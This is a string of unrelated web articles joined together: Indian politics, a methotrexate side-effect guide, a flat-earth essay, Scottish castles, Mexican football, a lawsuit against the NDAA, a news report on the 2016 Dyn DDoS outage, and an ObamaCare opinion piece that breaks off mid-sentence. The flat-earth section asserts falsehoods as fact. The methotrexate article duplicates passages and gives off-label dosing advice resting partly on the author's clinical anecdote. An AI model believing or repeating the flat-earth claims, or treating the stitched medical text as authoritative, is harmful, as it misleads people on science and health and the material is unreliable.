-Congress leader Rahul Gandhi is set to accept a giant national flag made by the Dalit community that was presented to Chief Minister Vijay Rupani but which officials reportedly refused to accept citing lack of space.  Advertising  Gandhi will accept the flag, about 125 feet wide and 83.3 feet high, when he visits the Dalit Shakti Kendra near Sanand on Thursday. Gandhi will be on a two-day visit to poll-bound Gujarat.  “India’s largest national flag was supposed to be handed over to Rupani, with a request that he take steps to end untouchability practices. But it was not accepted by officials of the Gandhinagar Collectorate on behalf of the Chief Minister saying ‘We don’t have enough space to keep the flag and shall inform once available’,” said Dalit leader Martin Macwan.  “This is the insult of an Indian national flag prepared by Dalits from 10 states,” said Macwan, who heads the Navsarjan Trust, which works for Scheduled Caste community in Gujarat.  “The flag is made out of khadi cloth and has been designed and coloured by 100 Dalit Shakti Kendra students and teachers who worked on it for 25 days… The 125 feet length of the flag signifies 125 years of Dr. Babasaheb Ambedkar’s birth anniversary this year,” added Macwan.  Advertising  “We approached the Chief Minister’s office on August 3… The CMO did not respond… Thereafter we approached the Collector who refused citing lack of space,” said Macwan.
-Methotrexate was first introduced in 1955 for leukemia and in 1986 became FDA approved for the treatment of adults with severe, active, rheumatoid arthritis or children with active polyarticular-course juvenile RA.  In rheumatology, MTX has been the first-line drug against which all other agents are judged. It is the preferred agent in early and late disease and has been the anchor drug to all combination therapies that have revolutionized antirheumatic therapy.  Although MTX has become the drug that rheumatologists love, it is the drug patients often have an aversion to. Patient reluctance or reactions to MTX are based largely on toxicity – some read on the internet and others experienced after a trial of MTX. Effective utilization of MTX requires a plan for risk communication and toxicity prevention and management.  Risk communication is the art of informing patients of the likely and unlikely or most dangerous side effects associated with a particular drug. The risk factors for MTX toxicity include improper instruction, wrongful dosing, not monitoring labs for renal insufficiency, hypoalbuminemia or dropping cell counts and lastly, concurrent use of drugs known to interact with MTX. Below is a review of the management and prevention of common/nuisance toxicities of MTX. Additionally, pearls of prevention and wisdom from the products package insert are found at the end of this article.  Common Mistakes and Myths in MTX Management.  Changing from oral to parenteral or changing from single weekly to split doses to lessen (GI) toxicity. The literature and research is clear that toxicity is related to MTX levels and that parenteral dosing yields higher MTX levels than oral and that split doses results in more MTX absorbtion. Thus split doses or parenteral doses will cause more toxicity, not less.  Using Folate to manage fatigue or oral ulcers. See vitamin A and dextromethorphan below.  Higher doses (above 15 or 20 mg per week) yields greater efficacy. The truth is that as you increase the dose, toxicity is more likely than efficacy. Moreover, recent studies like JESMR, CONCERTO and MUSICA have shown that lower doses (7.5-10mg) may be as effective as higher doses (15-20mg).  Nuisance Side Effects. The usual list here includes post-dosing painful oral ulcers, nausea, vomiting, GI discomfort, diarrhea, hair thinning, minor hepatic enzyme elevations and drug interactions. Rarely MTX causes colonic ulcerations.  The avoidance of many of these common nuisance side-effects was largely taught to me by a world-class pediatric oncologist, Dr. Bart Kamen (see end of article dedication). For these you need only rely upon the use of folate supplementation, vitamin A and dextromethorphan.  Folate Benefits : The utility and safety of folate supplementation with MTX use was reviewed by a Cochrane analysis that showed folate supplementation (low doses of ≤ 7 mg weekly) to be effective at lowering the frequency of GI side effects, protective against hepatic enzyme elevations and reduces the frequency of MTX discontinuations. Folates were not shown to have a significant effect on oral ulcerations due to MTX (although a protective “trend” was mentioned). Although I believe that folate supplementation may protect against the rare instance of MTX induced hypersensitivity pneumonitis, I can find no evidence to back this observation. For many leucovorin is given post MTX dosing as a means of preventing myelosuppression, GI toxicity, and neurotoxicity. Leucovorin is usually given within 24 to 36 hours of MTX to prevent toxicity.  : The utility and safety of folate supplementation with MTX use was reviewed by a Cochrane analysis that showed folate supplementation (low doses of ≤ 7 mg weekly) to be effective at lowering the frequency of GI side effects, protective against hepatic enzyme elevations and reduces the frequency of MTX discontinuations. Folates were not shown to have a significant effect on oral ulcerations due to MTX (although a protective “trend” was mentioned). Although I believe that folate supplementation may protect against the rare instance of MTX induced hypersensitivity pneumonitis, I can find no evidence to back this observation. For many leucovorin is given post MTX dosing as a means of preventing myelosuppression, GI toxicity, and neurotoxicity. Leucovorin is usually given within 24 to 36 hours of MTX to prevent toxicity. Vitamin A and Oral Ulceration : while the package insert for MTX states “…certain side effects such as mouth sores may be reduced by folate supplementation”, my experience suggests this is rarely so and the Cochrane review supports this non-association. Dr. Kamen taught me that when rats are given oral MTX, a severe enterocolitis ensues. However when these same rats are pre-treated with vitamin A – no such GI toxicity was observed. This led to our clinic study that showed Vitamin A given as 8,000 IU day was effective in nearly two-thirds of patients in reducing oral ulcerations and post-MTX nausea. It was less effective, but worthwhile, in reducing the diarrhea sometimes seen.  : while the package insert for MTX states “…certain side effects such as mouth sores may be reduced by folate supplementation”, my experience suggests this is rarely so and the Cochrane review supports this non-association. Dr. Kamen taught me that when rats are given oral MTX, a severe enterocolitis ensues. However when these same rats are pre-treated with vitamin A – no such GI toxicity was observed. This led to our clinic study that showed Vitamin A given as 8,000 IU day was effective in nearly two-thirds of patients in reducing oral ulcerations and post-MTX nausea. It was less effective, but worthwhile, in reducing the diarrhea sometimes seen. Dextromethorphan and the “Blahs” : Neurotoxicity is quite common with high-dose MTX chemotherapy (10% seizures) and more frequent than most realize with low-dose weekly MTX. A survey of my clinic patients showed that nearly 50% of my MTX patients admitted to some neurologic manifestations – usually manifest as post-MTX somnolence/fatigue or “the Blahs”, but may also include headache, cognitive dysfunction, impotence, blindness or numbness. Usually such symptoms last for 24-36 hours. Again, it was Dr. Kamen who taught me that the metabolism of MTX leads to excess homocysteine and that homocysteine leads to a number of excitogenic amines that includes homocyteic acid, amongst others. Interestingly these amines will noncompetitively bind NMDA receptors in the brain and presumeably mediate the neurotoxicities seen. NDMA binding can be noncompetitively inhibited by dextromethorphan. Dr. Kamen often related stories of children with leukemia who were receiving intrathecal MTX and would go into a coma. He would then perform his magic by taking a bottle of Robitussin DM and pouring down the NG tube so that his residents and fellows could watch the child awaken from the drug induced coma. This led to our study in 1999 that was published as an ACR abstract wherein we treated our MTX patients who had the “blahs” and showed again that two-thirds promptly responded and had less or no CNS symptoms. Hence we now recommend the use of dextromethorphan (20-50mg) be given weekly with the MTX dose and again 8-12 hours later. We usually prescribe this as a tablet (Mucinex DM).  : Neurotoxicity is quite common with high-dose MTX chemotherapy (10% seizures) and more frequent than most realize with low-dose weekly MTX. A survey of my clinic patients showed that nearly 50% of my MTX patients admitted to some neurologic manifestations – usually manifest as post-MTX somnolence/fatigue or “the Blahs”, but may also include headache, cognitive dysfunction, impotence, blindness or numbness. Usually such symptoms last for 24-36 hours. Again, it was Dr. Kamen who taught me that the metabolism of MTX leads to excess homocysteine and that homocysteine leads to a number of excitogenic amines that includes homocyteic acid, amongst others. Interestingly these amines will noncompetitively bind NMDA receptors in the brain and presumeably mediate the neurotoxicities seen. NDMA binding can be noncompetitively inhibited by dextromethorphan. Dr. Kamen often related stories of children with leukemia who were receiving intrathecal MTX and would go into a coma. He would then perform his magic by taking a bottle of Robitussin DM and pouring down the NG tube so that his residents and fellows could watch the child awaken from the drug induced coma. This led to our study in 1999 that was published as an ACR abstract wherein we treated our MTX patients who had the “blahs” and showed again that two-thirds promptly responded and had less or no CNS symptoms. Hence we now recommend the use of dextromethorphan (20-50mg) be given weekly with the MTX dose and again 8-12 hours later. We usually prescribe this as a tablet (Mucinex DM). Hepatic enzymes and Hepatotoxicity. As mentioned above the evidence shows that daily or weekly folate supplementation has a protective effect against hepatic enzyme elevation with an overall 77% relative risk reduction. Avoidance of hepatotoxicity is best accomplished by proper patient selection and prescribing and monitoring. This was first highlighted by the seminal 1994 paper wherein Kremer et al published the recommended guidelines for monitoring of MTX toxicity. They and others have pointed out that regular monitoring of hepatic enzymes is necessary and will show that hepatic enzyme elevations during MTX therapy is a frequent and transient problem, but that persistent elevations may indicate liver pathology and the need for further evaluation.  Severe Toxicity Management: MTX is dialyzable – hence hemodialysis and hemoperfusion have been successfully used in patients with toxic MTX levels. Maintenance of renal function, hydration, leucovorin rescue, G-CSF, transfusions and/or alkalinization of the urine may also be necessary in some patients. Plasmapheresis has less and limited value.  Package Insert Exerpts  - Methotrexate elimination is reduced in patients with impaired renal function, ascites, or pleural effusions. Such patients require especially careful monitoring for toxicity, and require dose reduction or, in some cases, discontinuation of methotrexate administration.  - Unexpectedly severe (sometimes fatal) bone marrow suppression, aplastic anemia, and gastrointestinal toxicity have been reported with concomitant administration of methotrexate (usually in high dosage) along with some non-steroidal anti-inflammatory drugs (NSAIDs). Despite the potential interactions, studies of methotrexate in patients with rheumatoid arthritis have usually included concurrent use of constant dosage regimens of NSAIDs, without apparent problems. It should be appreciated, however, that the doses used in rheumatoid arthritis (7.5 to 20 mg/week) are somewhat lower than those used in psoriasis and that larger doses could lead to unexpected toxicity.  - Patients with psoriasis or rheumatoid arthritis with alcoholism, alcoholic liver disease or other chronic liver disease should not receive methotrexate.  - Patients with psoriasis or rheumatoid arthritis who have overt or laboratory evidence of immunodeficiency syndromes should not receive methotrexate.  - Patients with psoriasis or rheumatoid arthritis who have preexisting blood dyscrasias, such as bone marrow hypoplasia, leukopenia, thrombocytopenia or significant anemia, should not receive methotrexate.  - Methotrexate is partially bound to serum albumin, and toxicity may be increased because of displacement by certain drugs, such as salicylates, phenylbutazone, phenytoin, and sulfonamides. Renal tubular transport is also diminished by probenecid; use of methotrexate with this drug should be carefully monitored. Oral antibiotics such as tetracycline, chloramphenicol, and nonabsorbable broad spectrum antibiotics, may decrease intestinal absorption of methotrexate or interfere with the enterohepatic circulation by inhibiting bowel flora and suppressing metabolism of the drug by bacteria.  - Drug interaction with trimethoprim/sulfamethoxazole (Bactrim) may rarely lead to bone marrow suppression, probably from an additive anti-folate effect and displacement of MTX binding to albumin.  - Penicillins may reduce the renal clearance of methotrexate; increased serum concentrations of methotrexate with concomitant hematologic and gastrointestinal toxicity have been observed with methotrexate. Use of methotrexate with penicillins should be carefully monitored.  - The potential for increased hepatotoxicity when methotrexate is administered with other hepatotoxic agents has not been evaluated. However, hepatotoxicity has been reported in such cases. Therefore, patients receiving concomitant therapy with methotrexate and other potential hepatotoxins (eg, azathioprine, retinoids, sulfasalazine) should be closely monitored for possible increased risk of hepatotoxicity.  - Methotrexate may decrease the clearance of theophylline; theophylline levels should be monitored when used concurrently with methotrexate.  - Pregnancy should be avoided if either partner is receiving methotrexate; during and for a minimum of three months after therapy for male patients, and during and for at least one ovulatory cycle after therapy for female patients  This article is dedicated to the brilliance of Dr. Barton Kamen (1949-2012) – a pediatric oncologist who taught me and thousands of physician about the art of medicine and specifically, about the safe use of methotrexate. Bart invented the infusion pump, was an exceptional pediatrician and magician, and a giant of a translational researcher and folate scientist. You can read more about him here.  Dr. Barton Kamen  References  Drachtman RA, Cole PD, Golden CB, James SJ, Melnyk S, Aisner J, Kamen BA. Dextromethorphan is effective in the treatment of subacute methotrexate neurotoxicity. Pediatr Hematol Oncol. 2002 Jul-Aug;19(5):319-27  Shea B, et al. Folic acid and folinic acid for reducing side effects in patients receiving methotrexate for rheumatoid arthritis. Cochrane Database Syst Rev. 2013 May 31
-Let's examine the "so-called proofs" of the earth's rotundity. Most people automatically assume that the hull of a ship disappears before the mast of the ship. This is based on a false premise that the earth is a sphere causing ships to bow below a curvature that doesn't exist. Since most do not think about ships far out at sea can be restored with a telescope, they end up with a false conclusion. If you assert the earth is sphere based on Eratosthenes's shadow experiment, you will quickly be proven wrong just by using observable evidence based on mathematics.  The circumference of the earth usually accepted as fact without ever verifying any evidence to make sure the claim is factual. Most will argue that because the bottom of an outward bound ship disappears before the mast that the water is curved. Have you ever tested this theory out for yourself? Assuming that the earth is a sphere is an illogical leap of faith and it is disproven by a simple telescope or a high powered lens camera.  Even science organizations deny the photos of NASA that show a perfectly round earth. Modern science today refutes the round earth claim that the world has come to believe. Eratosthenes claimed the earth to be about 24,901 miles in circumference. This is actually proven wrong using visual evidence.  ​  Now scientists believe the earth is shaped like a pear. If this is the case, why then do we still teach children in public schools that the earth is perfectly round? Even liars like DeGrasse Tyson who has been on my TV show admits that the earth is not a perfect sphere. It's not even close. If this is the case and the liars are now changing their tune about the shape of the earth, Pastor Ernest is certain that the earth is flat.
-We run through 10 of the most beautiful castles in Scotland, let us know if you think we have left any out. A visit to Scotland would surely be incomplete without becoming caught up in the turbulent history and fascinating stories that lay behind the stone walls of its many castles. Scattered across the country, […]  We run through 10 of the most beautiful castles in Scotland, let us know if you think we have left any out.  A visit to Scotland would surely be incomplete without becoming caught up in the turbulent history and fascinating stories that lay behind the stone walls of its many castles. Scattered across the country, over two thousand magnificent castles offer travellers a wondrous serving of escapism amongst the wilderness of the Scottish landscape. Here, we round up the top ten castles that should hastily be scribbled into your Scottish bucket list…  Dunnottar Castle  On the edge of the North Sea, just south of Stonehaven, stands the formidable fortress of Dunnottar Castle. Restored in 1925, the castle ruins sit atop a huge, rocky outcrop, surrounded almost entirely by steep cliffs that plummet to the waters below. A visit to Dunnottar is well worth the journey if only to watch the evening sun illuminate the castle’s jagged exterior. It’s a breath-taking view that you won’t soon forget.  A post shared by Craig Anderson | Scotland (@ardentform) on Jan 31, 2017 at 12:19am PST  Inveraray Castle  Located on the shore of Loch Fine, the longest sea loch in Scotland, Inveraray Castle is often considered to be a country house or stately home. But its spectacular exterior, which has previously been captured on camera in Downton Abbey’s 2012 Christmas Special, is undoubtedly fit for a king. Steep conical turrets and a third floor were added to the structure in 1877 after a fire had spread through its interior, whilst a second fire in 1975 put the future of the castle in jeopardy. Following extensive restoration however, Inveraray now overlooks 16 acres of beautiful gardens that can be enjoyed by visitors all year round.  A post shared by Kazim Ghafoor (@kazimghafoor) on Aug 23, 2017 at 11:30am PDT  Castle Stalker  This four storey, tower keep on Loch Laich is notoriously difficult to visit. Surrounded by water and privately owned, there are only a limited number of tours that invite visitors through its doors each year. Yet, the castle, and its magnificently rugged backdrop provided by the Morvern Hills, is even more captivating when seen from afar. Visible even from the A828, between Oban and Glencoe, visitors might recognise Castle Stalker by another name – one which is perhaps more peculiar than its own – ‘The Castle of Aaaaaaaaaaaarghh’ from Monty Python and the Holy Grail.  A post shared by Gordon (@gord.cook) on Aug 28, 2017 at 11:21am PDT  Kilchurn Castle  At the head of Loch Awe stands a five storey tower house belonging to Kilchurn Castle. Built in the 1400s by the first Lord of Glenorchy, the fact that this tower still stands is remarkable in its own right. For visitors though, who may reach the site by boat from Lochawe Pier, the chance to walk Kilchurn’s battlements and relish in the immeasurable view it provides is a truly invigorating and exceptional experience.  A post shared by Daniel Casson ?? (@dpc_photography_) on Jul 10, 2017 at 12:05pm PDT  Eilean Donan Castle  Situated on its own tidal island, Eilean Donan Castle marks the point where Loch Duich, Loch Long and Loch Alsh unite. Accessible by a single stone bridge, this 13th Century castle was once a magnificent family home, with views across the water reflecting the mountains of Kintail in its ripples. Whilst, in 2001, the island’s recorded population stood at a grand total of one, the most recent census shows that even the island’s final resident has disappeared.  Special glow over a special castle ❤️ A post shared by Connor Mollison | Scotland (@connormollison) on Aug 21, 2017 at 11:43am PDT  Craigievar Castle  Nestled in the heart of Aberdeenshire, Craigievar Castle is a Princess’ dream. With its sculpted turrets and tickled pink exterior, it’s widely rumoured that Craigievar’s Scottish Baronial architecture was the inspiration behind Walt Disney’s famous castle motif. Visiting Craigievar on a dry day allows visitors to explore the castle’s sweeping gardens; perhaps even following one of its two waymarked walks.  A post shared by Mikaela Eriksson (@mika.eriksson) on Aug 11, 2017 at 6:58am PDT  Caerlaverock Castle  If ever you need inspiration for building a castle, Caerlaverock Castle would be it. Complete with picture-perfect moat and a grand, turreted entrance, Caelaverock truly looks as though it has been torn from the pages of medieval history books. Standing on the southern coast of Scotland, the strength of this triangular stronghold is proven by the substantial ruin that remains there to this day. The surrounding area is internationally recognised for its waterfowl and wading birds, whilst smaller visitors will be delighted by Caerlaverock’s castle themed adventure park.  A post shared by Maggie Cristler (@europecastlespalaces) on Feb 24, 2016 at 1:24pm PST  Dunvegan Castle  First built in the 13th Century, Dunvegan castle was remodelled as a mock medieval build some 600 years later. Situated just a mile to the north of Dunvegan on the Isle of Skye, the castle stands as the longest continuously inhabited castle in Scotland. Steeped in over 800 years of Clan history, the magnificent grounds of Dunvegan are as intriguing as they are beautiful; with a stunning maze of water features, walled gardens and glass houses offering a sanctuary to those that visit.  A post shared by laura pennafort (@laupennafort) on Aug 3, 2017 at 4:35pm PDT  Duart Castle  Duart Castle became the ancestral home of Clan MacLean after having been included in a dowry received by the 5th Clan Chief in 1350. Brought back from ruin in 1911, Duart Castle on the Isle of Mull now offers its visitors action packed experiences swathed in the spirit of Duart. After walking amongst its shadowy dungeons, visitors will be relieved to emerge into the swirl of fresh Scottish air atop the castles battlements. Whilst below, events in the grounds include ghost tours, displays of swordsmanship and theatre company performances.  A post shared by The Highland Collective (@thehighlandcollective) on Jul 22, 2017 at 12:31pm PDT  Ardvreck Castle  Ever since fire devastated Ardvreck Castle in mysterious circumstances in 1737, its gnarled remains have become a striking feature amongst its spectacular mountain surroundings. Historians believe that Ardvreck was once a formidable structure, with a stunning walled garden and magnificent courtyard. Now however, when waters rise from Loch Assynt, Ardvreck can often be cut off from the mainland – leaving little more than an enthralling, knotted mass of stone emerging from the ground.  A post shared by The Highland Collective (@thehighlandcollective) on Jul 26, 2017 at 11:01am PDT  Think our list should have been different? Let us know your bucket list favourites in the comments below.
-Deportes  Redacción SDPnoticias.com jue 09 feb 2017 21:59  El Atlético de Madrid y el Atlético San Luis llegarían un acuerdo en los próximos días Foto propiedad de: Tomada de AS.com  Una delegación ‘colchonera’ llegará a México para afinar los detalles  La alianza entre el Atlético de Madrid, el Gobierno del Estado y el Atlético San Luis por fin se hará oficial en días próximos.  El Consejero delegado del Atlético, Miguel Ángel Gil Marín, junto con el Director de Gestión Deportiva, José Manuel Díaz, así como los dueños del San Luis, se reunirán en las oficinas de la Federación Mexicana de Futbol para platicar del proyecto que regresará a San Luis a la segunda división.  De hacerse una realidad el proyecto, los involucrados se trasladarían a San Luis Potosí para firmar el convenio y hacerlo oficial.  El ‘Atleti’ desarrollará en San Luis un gran proyecto deportivo como ya lo ha hecho en China, India y Francia.  Con información de AS.
-Testimony in a lawsuit against the United States government is set to begin tomorrow as multiple individuals challenge the Homeland Battlefield Act in a New York City federal court.  The lawsuit is being brought by individuals concerned that the work they engage in could now lead the government to accuse them of being an “associated force” of terrorists as a result of the new law that was signed by President Barack Obama on New Year’s Eve last year.  Those involved in pushing the lawsuit hope Judge Katherine B. Forrest will issue a temporary restraining order so the process of repealing parts of the law can begin. However, they understand such a development is probably unlikely.  The plaintiffs bringing the case against the Homeland Battlefield Act—more commonly known as the National Defense Authorization Act (NDAA)—have been dubbed by their attorneys as the “Freedom Seven.” They include: Chris Hedges, a journalist; Daniel Ellsberg, who is known for releasing the Pentagon Papers; Noam Chomsky, a well-known writer; Icelandic MP Birgitta Jonsdottir; Tangerine Bolen, founder of RevolutionTruth.org; Kai Wargalla, deputy director of Revolution Truth and founder of Occupy London; and Alexa O’Brien, journalist and founder of US Day of Rage.  All have done work on civil liberties and human rights and are concerned that the law’s language is “dangerously vague” and grants the US government the power to “arrest any American citizen (or anyone, anywhere) without warrant and to indefinitely detain them without any charge.”  In particular, they call attention to Section 1021 of the law. This section defines a “covered person,” who could be subject to detention as “a person who was a part of or substantially supported al-Qaeda, the Taliban, or ‘associated forces’ that are engaged in hostilities against the United States or its coalition partners, including any person who has committed a belligerent act or has directly supported such hostilities in aid of such enemy forces.” What “substantially supported,” “directly supported,” or “associated forces” means is undefined. They see this as a tool that could be used to suspend due process for anyone deemed to have been involved in “hostilities against the United States.” And so, those behind the lawsuit conclude the Homeland Battlefield Act violates the First, Fourth, Fifth, Sixth and Eight Amendments of the US Constitution.  Bolen, who helped launch this lawsuit with multiple plaintiffs, says she felt prompted to sue the US government because of her work “defending WikiLeaks and Bradley Manning.” She also has hosted panels with Middle East revolutionaries and activists. “Given the language of the law under the NDAA,” she believes she could be accused of being an “associated force.”  “[It] caused a lot of fear and distress” in multiple activist communities when it passed last year, Bolen adds. “I saw this as an opportunity to seriously stand up and challenge” an egregious assault “on our civil liberties.”  O’Brien explains that she signed on as a plaintiff because she believes her work as a journalist and activist has made her a target of the United States government.  “Because of the passage of the Homeland Battlefield Act, which gives the government frightening new powers, I’ve had to curtail my journalism and activism,” she states.  As a founder of US Day of Rage, she has been subject to false allegations of connections to Al Qaeda that have deeply impacted her ability to conduct her work openly and freely. These allegations have been taken seriously by US government agencies.  Hedges, O’Brien and Wargalla are scheduled to testify in court tomorrow. They each had to be deposed by the government before the scheduled hearing.  Hedges described his deposition by assistant US attorney Benjamin H. Torrance, which took place in a “polite conference room”:  It is in conference rooms like this one, where attorneys speak in the arcane and formal language of legal statutes, that we lose or save our civil liberties. The 2001 Authorization to Use Military Force Act, the employment of the Espionage Act by the Obama White House against six suspected whistle-blowers and leakers, and the Homeland Battlefield Bill have crippled the work of investigative reporters in every major newsroom in the country. Government sources that once provided information to counter official narratives and lies have largely severed contact with the press. They are acutely aware that there is no longer any legal protection for those who dissent or who expose the crimes of state. The NDAA threw in a new and dangerous component that permits the government not only to silence journalists but imprison them and deny them due process because they “substantially supported” terrorist groups or “associated forces.”  Hedges noted the deposition would help the judge determine if he had standing to challenge the Homeland Battlefield Act.  O’Brien says of her deposition, “Having never been deposed before, the process is nerve-wracking. I concur with Mr. Hedges that the exchange is very polite but there is a sense of the very seriousness and the gravity of the matter.” She adds, “It’s not something that one enters into lightly.”  Dr. Cornel West, an author and teacher at Princeton University, and Naomi Wolf, an author, may become plaintiffs in the lawsuit.  In anticipation of the hearing tomorrow, Wolf has an article up at The Guardian, which details several instances where she declined to meet with individuals because of the Homeland Battlefield Law. Here’s one example:  …In November 2011, I declined, in writing, a proposed meeting with Vaughan Smith and Julian Assange, because of statements made by high-level United States officials regarding their belief that Assange is a terrorist, as well as the ongoing Department of Justice investigation, which, as I understand it, could lead to terrorism and/or espionage charges against him…  She also has declined to meet with a group in London that works with former Guantanamo detainees and a reporter who produced a documentary on “the bombardment of Gaza.”  Jonsdottir has produced a video statement but the State Department is attempting to deny her the right to have her testimony heard in court. This is alarming especially when considering the fact that the Justice Department has subpoenaed her Twitter account for information on her association and involvement with staff members of WikiLeaks.  The hearing tomorrow is the first stage of this lawsuit. It is the center of a “Stop NDAA” campaign that the grassroots activism organization Demand Progress has come together with Revolution Truth to advance. So far over 45,000 emails have gone out to US Congress members.  The campaign has a “Round 2” planned which will involve opening up the lawsuit to the “entire US public and the world.”  One person, Ramy Mahmoud of Occupy Miami, is already being considered. On March 14, Miami-Dade cops raided an Occupy Miami “safehouse” after receiving a “bogus terrorism tip.” They asked Mahmoud, “Are you a Muslim?” and “Do you love this country?” as they pointed guns at them and stepped on their backs to see if they had weapons.  The instance may be the first “confluence of Occupy, the idea of terrorism and the NDAA.” The campaign is not sure, but the raid has moved the campaign to consider having Mahmoud sign up as a plaintiff.  Occupy Wall Street has planned a “silent march” from Foley Square to Union Square at 3 pm. Occupiers intend to “show solidarity” with the “Freedom Seven” and their “discontent with an authoritarian piece of legislation that destroys” American civil liberties.  The Occupy movement has shown great opposition to the NDAA since it began to move through Congress and was eventually signed into law. A national day of action was held in January. Occupy Wall Street conducted a flash mob action in Grand Central Station in New York during rush hour that brought attention to the new law.  Much of the backlash in December came from the fact that the law was to grant the military extraordinary powers to detain US citizens without trial. Obama issued a signing statement indicating he had reservations about the new law. But that didn’t remove the reality that this new power given to the military was codified into law.  The federal government claims individuals like the “Freedom Seven” have nothing to fear. “Associated forces” have to be “armed.” But, Carl Mayer, a lead attorney in the lawsuit, told Courthouse News the “armed group” requirement is absent from the text of the statute.  “If it only targeted armed groups, it would say that,” Mayer said in a phone interview, adding that the phrase “substantially support” is also problematic. “Those definitions are so broad and vague that they can encompass, journalists, lawyers, or even the judge, and they are undefined in the statute,” he added. Meanwhile, he says, the U.S. military undermined the alleged “armed group” requirement during hearings for the court-martial of alleged WikiLeaks source Pfc. Bradley Manning. Prosecutors recently claimed that Manning supported al-Qaida in the Arabian Peninsula by allegedly leaking 700,000-plus files to WikiLeaks. “It gives the lie to what they’re doing,” Mayer said. “Now, they’re prosecuting Manning, who did not give armed support but leaked documents [to WikiLeaks], allegedly.”  Mayer contends, “The Homeland Battlefield Law is as Orwellian as its name implies. America is not a ‘battlefield’; it is a democratic republic.” Yet, the Homeland Battlefield Act subverts the rule of law to advance perpetual war against an enemy that is so undefined that any citizen could easily be accused of being an accessory to the enemy.  Just this month, the Executive Branch has expanded guidelines for the National Counterterrorism Center (NCTC) so that information on “non-terrorists” (otherwise known as US citizens) can be stored for five years. It has also asserted the authority to execute individuals abroad without charge or trial. When one considers how rapidly the imperial presidency appears to be growing, the lawsuit is the beginning of an important grassroots effort to challenge unchecked executive power in America.
-Twitter, Spotify and Reddit, and a huge swath of other websites were down or screwed up this morning. This was happening as hackers unleashed a large distributed denial of service (DDoS) attack on the servers of Dyn, a major DNS host. It’s probably safe to assume that the two situations are related.  Update 4:22 PM EST: Looks like this is probably going to get even worse before it gets any better. Dyn says they are being hit with a third wave of attacks. Dyn told CNBC the attack is “well planned and executed, coming from tens of millions IP addresses at same time.”  Advertisement  Update 12:28 PM EST: Dyn says it is investigating yet another attack, causing the same massive outages experienced this morning. Based on emails from Gizmodo readers, this new wave of attacks seems to be affecting the West Coast of the United States and Europe. It’s so far unclear how the two attacks are related, but the outages are very similar.  In order to understand how one DDoS attack could take out so many websites, you have to understand how Domain Name Servers (DNS) work. Basically, they act as the Internet’s phone book and facilitate your request to go to a certain webpage and make sure you are taken to the right place. If the DNS provider that handles requests for Twitter is down, well, good luck getting to Twitter. Some websites are coming back for some users, but it doesn’t look like the problem is fully resolved.  Advertisement  Dyn posted this update on its website: “Starting at 11:10 UTC on October 21th-Friday 2016 we began monitoring and mitigating a DDoS attack against our Dyn Managed DNS infrastructure. Some customers may experience increased DNS query latency and delayed zone propagation during this time. Updates will be posted as information becomes available.”  Here’s a list of websites that readers have told us they are having trouble accessing:  ActBlue  Basecamp  Big cartel  Box  Business Insider  CNN  Cleveland.com  Etsy  Github  Grubhub  Guardian.co.uk  HBO Now  Iheart.com (iHeartRadio)  Imgur  Intercom  Intercom.com  Okta  PayPal  People.com  Pinterest  Playstation Network  Recode  Reddit  Seamless  Spotify  Squarespace Customer Sites  Starbucks rewards/gift cards  Storify.com  The Verge  Twillo  Twitter  Urbandictionary.com (lol)  Weebly  Wired.com  Wix Customer Sites  Yammer  Yelp  Zendesk.com  Zoho CRM  Credit Karma  Eventbrite  Netflix  NHL.com  Fox News  Disqus  Shopify  Soundcloud  Atom.io  Ancersty.com  ConstantContact  Indeed.com  New York Times  Weather.com  WSJ.com  time.com  xbox.com  dailynews.com  Wikia  donorschoose.org  Wufoo.com  Genonebiology.com  BBC  Elder Scrolls Online  Eve Online  PagerDuty  Kayak  youneedabudget.com  Speed Test  Freshbooks  Braintree  Blue Host  Qualtrics  SBNation  Salsify.com  Zillow.com  nimbleschedule.com  Vox.com  Livestream.com  IndieGoGo  Fortune  CNBC.com  FT.com  Survey Monkey  Paragon Game  Runescape  Here’s an internet outage map from DownDetector as of 12:46 PM EST:  Advertisement  Here’s a gif that shows the internet outage at 9:00 AM EST versus 12:30 PM EST:  Your browser does not support HTML5 video tag.Click here to view original GIF  At the time of publication Dyn said that it was still dealing with the problem.  What websites are down for you? Send a tip to william.turton@gizmodo.com.  Update 9:05 AM EST: Judging by emails from readers, this problem seems to be getting worse.  Advertisement  Update 9:43 AM EST: Dyn says the issue has been resolved.  Update 12:19 PM EST: Dyn says the issue is resolved, but multiple readers are messaging me to say they’re still having trouble accessing websites.  Update 12:25pm EST: It’s happening again. (see above)
-Thanks to the delayed employer mandate in ObamaCare, we are now sixteen months away from enforcement of those statutes, even though they go into effect in four months. Are employers taking a break from ObamaCare prep? Not hardly. Today we have three new stories about how the perverse incentives of the ACA will impact workers, starting with UPS, which has just announced that it will stop offering health-care coverage to spouses — and explicitly cites ObamaCare as the reason (via Jim Geraghty and Jeryl Bier):  United Parcel Service Inc. plans to remove thousands of spouses from its medical plan because they are eligible for coverage elsewhere. The Atlanta-based logistics company points to the Affordable Care Act, or Obamacare, as a big reason for the decision, reports Kaiser Health News. The decision comes as many analysts are downplaying the Affordable Care Act’s effect on companies such as UPS, noting that the move reflects a long-term trend of shrinking corporate medical benefits, Kaiser Health News reports. But UPS repeatedly cites Obamacare to explain the decision, adding fuel to the debate over whether it erodes traditional employer coverage, Kaiser says. Rising medical costs, “combined with the costs associated with the Affordable Care Act, have made it increasingly difficult to continue providing the same level of health care benefits to our employees at an affordable cost,” UPS said in a memo to employees.  As I pointed out a couple of weeks ago, the law requires employers to subsidize health-insurance costs for employees, but not for dependent children (meaning the employee has to pay full price), and they don’t have to cover spouses at all — even if the spouses don’t have their own jobs. Under that scenario, employees with children and stay-at-home spouses are better off going into the exchanges and getting taxpayer-fueled subsidies to buy their own family insurance — even though a mass migration into those exchanges will create an avalanche of unforeseen cost to ObamaCare. And sure enough, some workers have figured it out:  Just imagine saying this to your boss: “Don’t offer me health insurance benefits.” Those apparently bizarre words might actually end up being uttered next year because of a quirk in Obamacare that could financially penalize a number of workers and their families. That quirk means that for some people, it will be more economical to have an employer not offer health insurance subsidies for them and their families—and for the entire family to then instead be able to buy insurance with government subsidies on the Obamacare state health exchanges. “For a lot of people, that may be a better deal,” said Jonathan Wu, co-founder of the price-comparison site ValuePenguin.com. “We’re talking like thousands of dollars.”  Wu refers to this as “weird”:  What Wu calls one of several “weird” unintended effects of the Affordable Care Act—effects that lead to some less-than-affordable outcomes—stems from a rule that was adopted by the Health and Human Services Department last winter and goes into effect in 2014. Under the ACA, popularly known as Obamacare, a worker whose employer offers company-subsidized health insurance that costs the worker less than or equal to 9.5 percent of household income is considered to be receiving “affordable coverage.” … But HHS has ruled that the affordability test will consider only the cost to 